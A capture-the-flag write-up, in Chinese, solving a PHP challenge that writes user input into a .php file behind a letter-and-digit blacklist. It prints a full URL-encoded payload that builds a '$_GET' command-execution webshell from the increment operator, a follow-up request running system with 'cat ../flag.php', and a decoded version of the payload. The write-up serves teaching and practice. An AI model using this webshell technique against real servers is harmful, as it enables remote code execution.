• PHP_Code_Challenge-8-无数字字母的webshell


    题目

    <?php
    ini_set("display_errors", "On");
    error_reporting(E_ALL | E_STRICT);
    if(!isset($_GET['c'])){
        show_source(__FILE__);
        die();
    }
    function rand_string( $length ) {
        $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $size = strlen( $chars );
        $str = '';
        for( $i = 0; $i < $length; $i++)
       {
           $str .= $chars[ rand( 0, $size - 1 ) ];
       }
        return $str;
    }
    $data = $_GET['c'];
    $black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
    foreach ($black_list as $b) {
        if (stripos($data, $b) !== false){
            die("WAF!");
        }
    }
    $filename=rand_string(0x20).'.php';
    $folder='uploads/';
    $full_filename = $folder.$filename;
    if(file_put_contents($full_filename, '<?php '.$data)){
        echo "<a href='".$full_filename."'>WebShell</a></br>";
        echo "Enjoy your webshell~";
    }else{
        echo "Some thing wrong...";
    }
    ?>
    

    分析

    if(!isset($_GET['c'])){
        show_source(__FILE__);
        die();
    }
    

    需要GET一个变量c

    function rand_string( $length ) {
        $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $size = strlen( $chars );
        $str = '';
        for( $i = 0; $i < $length; $i++)
       {
           $str .= $chars[ rand( 0, $size - 1 ) ];
       }
        return $str;
    }
    

    这个函数的作用是,生成$length长度的随机字符串

    $data = $_GET['c'];
    c= array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
    foreach ($black_list as $b) {
        if (stripos($data, $b) !== false){
            die("WAF!");
        }
    }
    

    $data,也就是GET的变量c
    不能含有$black_list数组中的元素

    $filename=rand_string(0x20).'.php';
    $folder='uploads/';
    $full_filename = $folder.$filename;
    if(file_put_contents($full_filename, '<?php '.$data)){
        echo "<a href='".$full_filename."'>WebShell</a></br>";
        echo "Enjoy your webshell~";
    }else{
        echo "Some thing wrong...";
    }
    

    将$data写入php文件中,并给出了文件相对路径
    So
    显然目的是要写入wenshell,但由于$black_list的存在,数字字母部分字符不能写入
    所以需要一个特殊的webshell,没有数字字母部分字符的webshell

    知识点

    无数字字母webshell

    参考P神的文章,2017的文章含金量仍然很足
    https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
    https://www.freebuf.com/articles/web/186298.html
    我也不是很理解,思路大概是

    1.利用位运算
    2.利用自增运算符

    解法

    challenge8.php?c=%24_%3d[].[]%3b%24__%3d''%3b%24_%3d%24_['']%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24{'_'.%24__}[_](%24{'_'.%24__}[__])%3b
    写入的webshell为$_GET['_']($_GET['__']);

    /uploads/Ru46y9Pcuixs1TvVykr1neGolDDi5cCM.php?_=system&__=cat ../flag.php
    访问后查看源代码

    补充

    <?php
    $_=[].[];
    $__='';
    $_=$_[''];
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $__.=$_; // E
    $_=++$_;
    $_=++$_;
    $__=$_.$__; // GE
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $_=++$_;
    $__.=$_; // GET
    var_dump(${'_'.$__}[_](${'_'.$__}[__])); // $_GET['_']($_GET['__']);
    
  • 相关阅读:
    解释*args和**kwargs的含义
    字典推导式创建字典
    返回json格式数据乱码
    DataTables warning: table id=data-table
    echart折线图,柱状图,饼图设置颜色
    No mapping found for HTTP request with URI
    [Err] 1111
    echart提示框内容数据添加单位
    rg.apache.ibatis.binding.BindingException: Mapper method 'com.dao.Cameao.getOnlineDayRation attempted to return null from a method with a primitive return type (float)
    bootstrap datarangepicker如何使用
  • 原文地址:https://www.cnblogs.com/Rain99-/p/12642550.html
Copyright © 2020-2023  润新知